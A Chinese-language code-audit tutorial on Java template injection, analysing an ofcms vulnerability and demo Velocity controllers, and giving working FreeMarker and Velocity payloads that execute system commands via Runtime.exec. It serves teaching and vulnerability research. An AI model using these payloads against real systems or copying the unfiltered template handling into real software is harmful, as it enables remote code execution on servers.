Java代码审计-模板注入漏洞

一、模板引擎

        在Java开发当中,为了将前端和后端进行分离,降低项目代码的耦合性,使代码更加易于维护和管理。除去以上的原因,模板引擎还能实现动态和静态数据的分离。

二、主流模板引擎

        在Java中,主流的模板引擎有:Freemark,Thymeleaf,velocity等。本文章仅介绍前三种模板引擎。

        本文着重介绍是模板注入的原理,因此有关模板的语法部分仅提供参考链接:

        什么是 FreeMarker? - FreeMarker 中文官方参考手册

        Thymeleaf

        The Apache Velocity Project

三、原理

        先讲讲原理,对于模板注入漏洞,其原理并不难,就是在用户修改模板,或者上传模板文件时,没有对模板进行正确的处理,在之后调用该模板时,直接就把用户传入的模板中的或者是用户本身的传参中的恶意参数当作了代码进行执行。

四、示例

        1、Freemark

        这里我选择使用的示例是ofcms-v1.1.2的模板注入漏洞,运行环境为

        JDK:1.8

        Tomcat:8.5.97

        若需要Java8以及tomcat8可点击链接获取

        代码审计环境.zip_免费高速下载|百度网盘-分享无限制

        提取码:1234

        部署好项目后启动,登陆后台进入模板设置下的模板文件功能处

        点一下保存抓一下包,获取一下路由,方便定位代码位置

        根据路由定位代码位置,位于admin/controller/cms/TemplateController.java内的save方法中

代码解读:

通过调用 getPara 方法从请求中获取参数 res_path,该参数指示要使用的资源路径。

        根据 resPath 的值决定文件存储的路径。如果 resPath"res",则使用 SystemUtile.getSiteTemplateResourcePath() 返回的路径;否则,使用 SystemUtile.getSiteTemplatePath() 返回的路径。

        从请求中获取 dirs 参数,如果该参数不为空,则将其作为子目录添加到 pathFile 中。

        从请求中获取 file_name 参数,表示要保存的文件名。

        通过 getRequest().getParameter 获取 file_content 参数,表示文件的内容。由于安全原因,直接使用 getPara 可能会过滤掉某些HTML元素,因此这里直接从请求对象中获取。接着,将HTML实体字符 &lt;&gt; 替换为实际的 <> 字符。

        创建一个新的 File 对象,表示要保存的文件,其路径由之前构建的 pathFilefileName 组合而成。

        使用 FileUtils.writeString 方法将 fileContent 的内容写入到指定的文件中。这个方法通常来自 Apache Commons IO 库。

        解读代码我们可知,从头到尾没有进行任何的参数过滤,因此我们可以传入payload

        <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

        

        保存后,去触发404页面

        成功执行命令

        2、velocity

        在velocity中,模板注入漏洞有两种形式,一种是evaluate触发,一种是merge触发

        一、evaluate触发:

       示例代码如下:

package com.example.velocitydemo;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import java.io.StringWriter;

@Controller
public class VelocityEvaluate {
    @GetMapping("/velocityevaluate")
    public void velocity(String template) {
        Velocity.init();
        VelocityContext context = new VelocityContext();
        context.put("author", "hada");
        StringWriter swOut = new StringWriter();
        Velocity.evaluate(context, swOut, "test", template);
    }
}

        代码解读:

  • Velocity.init();:初始化 Velocity 引擎。
  • VelocityContext context = new VelocityContext();:创建一个 Velocity 上下文对象,用于存储模板中的变量。
  • context.put("author", "hada");:将变量 author 和其值 hada 放入上下文中。
  • StringWriter swOut = new StringWriter();:创建一个 StringWriter 对象,用于捕获模板渲染后的输出。
  • Velocity.evaluate(context, swOut, "test", template);:评估模板,并将结果输出到 swOut 中。"test" 是日志标签,template 是要评估的模板字符串。

我们就可以使用这样的payload去攻击:

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",nu ll).invoke(null,null).exec("calc")

攻击示例解读:

        #set($e="e")

        这里将变量 $e 设置为字符串 "e"

        $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null)

  • $e.getClass() 获取字符串 "e" 的类对象,即 java.lang.String
  • .forName("java.lang.Runtime") 使用 Class.forName 方法获取 java.lang.Runtime 类的类对象。
  • .getMethod("getRuntime", null) 获取 Runtime 类的 getRuntime 方法。null 表示该方法没有参数。
  • .invoke(null, null) 调用 getRuntime 方法,返回当前的 Runtime 实例。null 表示静态方法调用,不需要实例对象。

        .exec("calc")

  • .exec("calc") 调用 Runtime 实例的 exec 方法,执行 calc.exe 命令,打开 Windows 计算器。

        二、merge触发

        示例代码:

package com.example.velocitydemo;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.node.SimpleNode;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.text.ParseException;

@Controller
public class VelocityMerge {
    @RequestMapping("/velocitymerge")
    @ResponseBody
    public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {
        String templateString = new String(Files.readAllBytes(Paths.get("D:\\template.vm")) );
        templateString = templateString.replace("<USERNAME>", username);
        StringReader reader = new StringReader(templateString);
        VelocityContext ctx = new VelocityContext(); ctx.put("name", "hada");
        ctx.put("phone", "13312341234");
        ctx.put("email", "13312341234@123.com");
        StringWriter out = new StringWriter();
        org.apache.velocity.Template template = new org.apache.velocity.Template();
        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
        SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));
        template.setRuntimeServices(runtimeServices);
        template.setData(node);
        template.initDocument();
        template.merge(ctx, out);
        return out.toString();
    }
}

        代码解读:

        String templateString = new String(Files.readAllBytes(Paths.get("D:\\template.vm")));

        从指定路径读取模板文件内容,并将其转换为字符串。

        templateString = templateString.replace("<USERNAME>", username);

        替换模板中的 <USERNAME> 占位符为传入的 username 参数。

        StringReader reader = new StringReader(templateString);

        将模板字符串包装成 StringReader,以便 Velocity 可以读取。

        VelocityContext ctx = new VelocityContext(); ctx.put("name", "hada");

        ctx.put("phone", "13312341234");

        ctx.put("email", "13312341234@123.com");

        创建一个 VelocityContext 对象,并添加一些变量。

        StringWriter out = new StringWriter();

        捕获输出。

        org.apache.velocity.Template template = new org.apache.velocity.Template();

        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();

        SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));

         template.setRuntimeServices(runtimeServices); template.setData(node);

        template.initDocument();

        使用 RuntimeServices 解析模板,并设置相关属性。

        template.merge(ctx, out);

        合并模板和上下文,并将结果输出到 StringWriter 中。

        return out.toString();

        返回结果。

       根据上述代码,我们先假设文件可控,在D盘下创建一个template.vm,并键入如下payload:

访问后即可触发

3、Thymeleaf

模板注入的原理都是相同的,所以关于Thymeleaf这里不做赘述,可自行下载GitHub上的项目进行测试

veracode-research/spring-view-manipulation: When MVC magic turns black

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/913890.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SQLI LABS | Less-39 GET-Stacked Query Injection-Intiger Based

关注这个靶场的其它相关笔记&#xff1a;SQLI LABS —— 靶场笔记合集-CSDN博客 0x01&#xff1a;过关流程 输入下面的链接进入靶场&#xff08;如果你的地址和我不一样&#xff0c;按照你本地的环境来&#xff09;&#xff1a; http://localhost/sqli-labs/Less-39/ 本关是堆…

《深度学习》——深度学习基础知识(全连接神经网络)

文章目录 1.神经网络简介2.什么是神经网络3.神经元是如何工作的3.1激活函数3.2参数的初始化3.2.1随机初始化3.2.2标准初始化3.2.3Xavier初始化&#xff08;tf.keras中默认使用的&#xff09;3.2.4He初始化 4.神经网络的搭建4.1通过Sequential构建神经网络4.2通过Functional API…

备战软考Day05-数据库系统基础知识

一、基本概念 1.数据库 数据库(Database&#xff0c;缩写为DB)是指长期存储在计算机内的、有组织的、可共享的数据集合。数据库中的数据按一定的数据模型组织、描述和存储&#xff0c;具有较小的冗余度、较高的数据独立性和易扩展性&#xff0c;并可为各种用户共享。 2.数据…

Spark 的容错机制:保障数据处理的稳定性与高效性

Spark 的介绍与搭建&#xff1a;从理论到实践_spark环境搭建-CSDN博客 Spark 的Standalone集群环境安装与测试-CSDN博客 PySpark 本地开发环境搭建与实践-CSDN博客 Spark 程序开发与提交&#xff1a;本地与集群模式全解析-CSDN博客 Spark on YARN&#xff1a;Spark集群模式…

NLP论文速读(NeurIPS2024)|使用视觉增强的提示来增强视觉推理

论文速读|Enhancing LLM Reasoning via Vision-Augmented Prompting 论文信息&#xff1a; 简介: 这篇论文试图解决的问题是大型语言模型&#xff08;LLMs&#xff09;在处理包含视觉和空间线索的推理问题时的局限性。尽管基于LLMs的推理框架&#xff08;如Chain-of-Thought及其…

在 RHEL 8 | CentOS Linux release 8.5.2111上安装 Zabbix 6

1. 备份YUM源文件 cd /etc/yum.repos.d/ mkdir bak mv C* ./bak/ wget -O /etc/yum.repos.d/CentOS-Linux-BaseOS.repo https://mirrors.aliyun.com/repo/Centos-vault-8.5.2111.repo yum clean all yum makecache2. 将 SELinux 设置为宽容模式&#xff0c;如下所示。 sudo s…

在 Mac 和 Windows 系统中快速部署 OceanBase

OceanBase 是一款分布式数据库&#xff0c;具备出色的性能和高扩展性&#xff0c;可以为企业用户构建稳定可靠、灵活扩展性能的数据库服务。本文以开发者们普遍熟悉的Windows 或 Mac 环境为例&#xff0c;介绍如何快速上手并体验OceanBase。 一、环境准备 1. 硬件准备 OceanB…

【jenkins】jenkins使用pipeline配置django项目

目录 一、部署jenkins 二、配置 2.1 获取gitee账户凭证 2.2 安装pipeline插件 三、创建一个流水线项目 四、选择创建的项目 4.1 源码设置 4.2 配置 前言&#xff1a;个人使用&#xff0c;比较简单&#xff0c;做个笔记&#xff0c;这里我使用的是gitee作为仓库 一、部署…

qt QSyntaxHighlighter详解

1、概述 QSyntaxHighlighter是Qt文本处理框架中的一个强大工具&#xff0c;它专门用于实现文本编辑器中的语法高亮功能。通过自定义高亮规则&#xff0c;QSyntaxHighlighter可以实现对代码编辑器、富文本编辑器中的关键字、注释等内容的高亮显示。这一功能对于提升代码的可读性…

macOS 设置固定IP

文章目录 以太网Wifi![请添加图片描述](https://i-blog.csdnimg.cn/direct/65546e966cae4b2fa93ec9f0f87009d8.png) 基于 macOS 15.1 以太网 Wifi

从0开始深度学习(28)——序列模型

序列模型是指一类特别设计来处理序列数据的神经网络模型。序列数据指的是数据中的每个元素都有先后顺序&#xff0c;比如时间序列数据&#xff08;股票价格、天气变化等&#xff09;、自然语言文本&#xff08;句子中的单词顺序&#xff09;、语音信号等。 1 统计工具 前面介绍…

SpringBoot(八)使用AES库对字符串进行加密解密

博客的文章详情页面传递参数是使用AES加密过得,如下图所示: 这个AES加密是通用的加密方式,使用同一套算法,前端和后端都可以对加密之后的字符串进行加密解密操作。 目前线上正在使用的是前端javascript进行加密操作,将加密之后的字符串再传递到后端,PHP再进行解密操作。…

JVM双亲委派与自定义类加载器

一. 类加载过程 Java Application运行前需要将编译生成的字节码文件加载到JVM中&#xff0c;JVM类加载过程如下&#xff1a; 1. 加载 加载阶段是类加载的第一步&#xff0c;在加载阶段JVM会查找并加载类的字节码文件&#xff0c;这个过程通常从类路径&#xff08;Classpath…

多媒体信息检索

文章目录 一、绪论二、文本检索 (Text Retrieval)(一) 索引1.倒排索引2.TF-IDF (二) 信息检索模型 (IR模型&#xff0c;Information Retrieval)1.布尔模型 (Boolean模型)(1)扩展的布尔模型 (两个词)(2)P-Norm模型 (多个词) 2.向量空间模型 (Vector Space Model&#xff0c;VSM)…

Python | Leetcode Python题解之第559题N叉树的最大深度

题目&#xff1a; 题解&#xff1a; class Solution:def maxDepth(self, root: Node) -> int:if root is None:return 0ans 0queue [root]while queue:queue [child for node in queue for child in node.children]ans 1return ans

【Pikachu】SQL-Inject实战

困难、痛苦、挫折总是接踵而至&#xff0c;这正是世间的常理。要是输了&#xff0c;就只能说明我不过是如此程度的男人。 1.Sql Inject(SQL注入)概述 Sql Inject(SQL注入)概述 在owasp发布的top10排行榜里&#xff0c;注入漏洞一直是危害排名第一的漏洞&#xff0c;其中注入…

VSCode中python插件安装后无法调试

问题 VSCode中python插件安装后无法调试&#xff0c;如下&#xff0c;点击调试&#xff0c;VScode中不报错&#xff0c;也没有调试 解决方法 1、查看配置 打开所在路径 2、拷贝 将整个文件夹拷贝到vscode默认路径下 3、问题解决 再次调试&#xff0c;可以正常使用了…

官方压测工具memtier-benchmark压测redis

1 概述 memtier_benchmark是一种高吞吐量的性能基准测试工具&#xff0c;主要用于Redis和Memcached。它是 Redis官方开发团队开发的&#xff0c;旨在生成各种流量模式&#xff0c;以便测试和优化以上两个数据库的性能。 memtier_benchmark的一些关键特点如下&#xff1a; 多…

海外云手机在出海业务中的优势有哪些?

随着互联网技术的快速发展&#xff0c;海外云手机已在出海电商、海外媒体推广和游戏行业都拥有广泛的应用。对于国内的出海电商企业来说&#xff0c;短视频引流和社交平台推广是带来有效流量的重要手段。借助云手机&#xff0c;企业能够更高效地在新兴社交平台上推广产品和品牌…

kafka 的一些问题,夺命15连问后续

16、kafka是如何做到高效读写 因为kafka本身就是分布式集群&#xff0c;可以采用分区技术&#xff0c;并行度高 读取数据可以采用稀疏索引&#xff0c;可以快速定位要消费的数据&#xff08;mysql中索引多了以后&#xff0c;写入速度就慢了&#xff09; 可以顺序写磁盘&#…